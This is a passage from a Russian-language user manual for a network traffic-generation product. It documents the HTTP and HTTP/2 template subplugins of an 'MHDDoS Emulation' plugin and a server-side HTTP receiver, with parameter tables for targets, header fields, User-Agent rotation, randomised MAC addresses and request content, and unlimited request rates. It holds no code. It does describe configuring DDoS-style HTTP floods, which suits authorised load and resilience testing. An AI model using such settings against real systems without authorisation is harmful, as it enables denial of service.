WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 145;

Табл. 145 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера)
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включенвыберите значение TLS v1.2 или TLS v1.3
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.По умолчанию, задано значение HTTP 2
User-AgentЗаголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос.Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе
ПутьУказывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем.Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/»)
HTTP методМетод, используемый для запроса ресурса на сервере.По умолчанию, задано значение «GET»
HTTP статусОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location»Включить/выключить тумблер
HTML Meta RefreshОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержкуВключить/выключить тумблер
ГлубинаЗначение максимально допустимого количества переадресаций в рамках одной TCP сессииЗадайте свое значение (по умолчанию, значение равно «20»)
Query параметрыПараметры, передаваемые в URL после знака вопроса (?)Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
ЗаголовкиДополнительные метаданные, отправляемые вместе с HTTP-запросом.Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 146;

Табл. 146 – Параметры «Параметры сессии»

НазваниеОписаниеЗначение
Общее количество сессийМаксимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина.Задайте числовое значение Значение по умолчанию: «10»
Тайм-аут повторного подключенияВремя в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта.Задайте числовое значение Значение по умолчанию: «0»
Подключений в секундуМаксимальное количество новых сессий, которые могут быть установлены за одну секунду.Задайте числовое значение Значение по умолчанию: «1»
Макс. стримов (на сессию)Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP».Задайте числовое значение Значение по умолчанию: «20»
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить По умолчанию, тумблер включен.
Запросов в секунду (на сессию)Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима.Задайте числовое значение По умолчанию выставлено значение: 10.
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение Значение по умолчанию: «10»

HTTP TEMPLATE

HTTP TEMPLATE – подплагин для генерации трафика, направленный на генерацию HTTP-запросов по заданному шаблону для имитации легитимного или вредоносного трафика.

Данный плагин состоит из следующих параметров:

  1. Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».

  2. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 147;

Табл. 147 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 148;

Табл. 148 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 149;

Табл. 149 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 150;

Табл. 150 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 151;

Табл. 151 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера)
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включенвыберите значение TLS v1.2 или TLS v1.3
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.По умолчанию, задано значение HTTP 1.1
User-AgentЗаголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос.Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе
ПутьУказывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем.Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/»)
HTTP методМетод, используемый для запроса ресурса на сервере.выберите из следующего списка: GET POST PUT PATCH DELETE
HTTP статусОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location»Включить/выключить тумблер
HTML Meta RefreshОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержкуВключить/выключить тумблер
ГлубинаЗначение максимально допустимого количества переадресаций в рамках одной TCP сессииЗадайте свое значение (по умолчанию, значение равно «20»)
Query параметрыПараметры, передаваемые в URL после знака вопроса (?)Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
Тело запросаЧасть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON) Параметр доступен если выбраны методы: POST, PUT или PATCHЗаполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
ЗаголовкиДополнительные метаданные, отправляемые вместе с HTTP-запросом.Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 152;

Табл. 152 – Параметры «Параметры сессии»

НазваниеОписаниеЗначение
Общее количество сессийМаксимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина.Задайте числовое значение Значение по умолчанию: «10»
Тайм-аут повторного подключенияВремя в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта.Задайте числовое значение Значение по умолчанию: «0»
Подключений в секундуМаксимальное количество новых сессий, которые могут быть установлены за одну секунду.Задайте числовое значение Значение по умолчанию: «1»
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить По умолчанию, тумблер включен.
Запросов в секунду (на сессию)Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима.Задайте числовое значение По умолчанию выставлено значение: 10.
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение Значение по умолчанию: «0»

H2 HTTP TEMPLATE

H2 HTTP TEMPLATE – подплагин для генерации трафика, направленный на генерацию HTTP-запросов по заданному шаблону для имитации легитимного или вредоносного трафика, используя протокол HTTP 2.

Данный плагин состоит из следующих параметров:

  1. Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».

  2. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 153;

Табл. 153 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 154;

Табл. 154 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 155;

Табл. 155 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 156;

Табл. 156 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 157;

Табл. 157 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера)
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включенвыберите значение TLS v1.2 или TLS v1.3
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.По умолчанию, задано значение HTTP 2
User-AgentЗаголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос.Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе
ПутьУказывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем.Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/»)
HTTP методМетод, используемый для запроса ресурса на сервере.выберите из следующего списка: GET POST PUT PATCH DELETE
HTTP статусОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location»Включить/выключить тумблер
HTML Meta RefreshОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержкуВключить/выключить тумблер
ГлубинаЗначение максимально допустимого количества переадресаций в рамках одной TCP сессииЗадайте свое значение (по умолчанию, значение равно «20»)
Query параметрыПараметры, передаваемые в URL после знака вопроса (?)Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
Тело запросаЧасть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON) Параметр доступен если выбраны методы: POST, PUT или PATCHЗаполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
ЗаголовкиДополнительные метаданные, отправляемые вместе с HTTP-запросом.Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 158;

Табл. 158 – Параметры «Параметры сессии»

НазваниеОписаниеЗначение
Общее количество сессийМаксимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина.Задайте числовое значение Значение по умолчанию: «10»
Тайм-аут повторного подключенияВремя в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта.Задайте числовое значение Значение по умолчанию: «0»
Подключений в секундуМаксимальное количество новых сессий, которые могут быть установлены за одну секунду.Задайте числовое значение Значение по умолчанию: «1»
Макс. стримов (на сессию)Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP».Задайте числовое значение Значение по умолчанию: «20»
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить По умолчанию, тумблер включен.
Запросов в секунду (на сессию)Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима.Задайте числовое значение По умолчанию выставлено значение: 10.
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение Значение по умолчанию: «0»

После включения подплагинов необходимо указать длительность работы плагина MHDDOS Emulation

Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 159.

Табл. 159 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

Настройка плагина Серверной конфигурации

HTTP

HTTP – плагин для получения различного веб-трафика.

Данный плагин состоит из следующих параметров:

  1. Получатель – совокупность из выбранного агента, интерфейсов и MAC-адресов, на которая будет принимать трафик. Описание параметров указаны в Табл. 160;

Табл. 160 – Параметры «Получатель»

НазваниеОписаниеЗначение
АгентАгент, который будет принимать трафик.Выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, который будет принимать трафикВыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети»), параметры которого будут использоваться для приема трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».Выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
  1. IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 161;

Табл. 161 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 162;

Табл. 162 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 163;

Табл. 163 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера, если выбран вариант "Да", то заполните параметры TLS, согласно таблицу 156)
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.Выберите значение HTTP 1.1 или HTTP 2.0
HTTP методМетод, используемый для ответа агента на получаемые запросы.Выберите из следующего списка: GET POST PUT PATCH DELETE
Тело запросаЧасть HTTP-запроса, содержащая данные, которые сервер отправляет на получаемый запрос (например, форму или JSON). Параметр доступен если выбраны методы: POST, PUT или PATCHЗаполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
ЗаголовкиДополнительные метаданные, отправляемые вместе с HTTP-запросом.Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя

Табл. 164 – Параметры «Параметры TLS»

НазваниеОписаниеЗначение
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен)Выберите значение TLS v1.2 или TLS v1.3
SSL-сертификатВыбор SSL-сертификата, используемого для установления TLS-соединения (сертификат сервера)Выберите значение
SSL шифрысписок/набор криптографических наборов (cipher suites), которые сервер будет предлагать/принимать при рукопожатииВыберите значение
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 165;

Табл. 165 – Параметры «Параметры сессии»

НазваниеОписаниеЗначение
Тайм-аут сессийМаксимальное время, в течение которого сессия между клиентом и сервером считается активной и действительной без необходимости её обновления или повторного установления.Задайте числовое значение и выберите величину (в секундах, минутах или часах)
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 166.

Табл. 166 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность приёма трафикаВремя в течении которого агент будет принимать входящий трафик и отвечать на негоЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

Взаимодействие со схемой при конфигурации задания

После добавления плагинов в клиентской или/и серверной конфигурации схема с описанием плагина клиентской части и направлением трафика в сторону выбранной цели. При нажатии на блок плагина в задании, открывается редактирование выбранного плагина, также как и открывается редактирование списке клиентских и серверных плагинов при нажатии на кнопку .

Пример схемы приведен на Рис 8.

Рис. 8

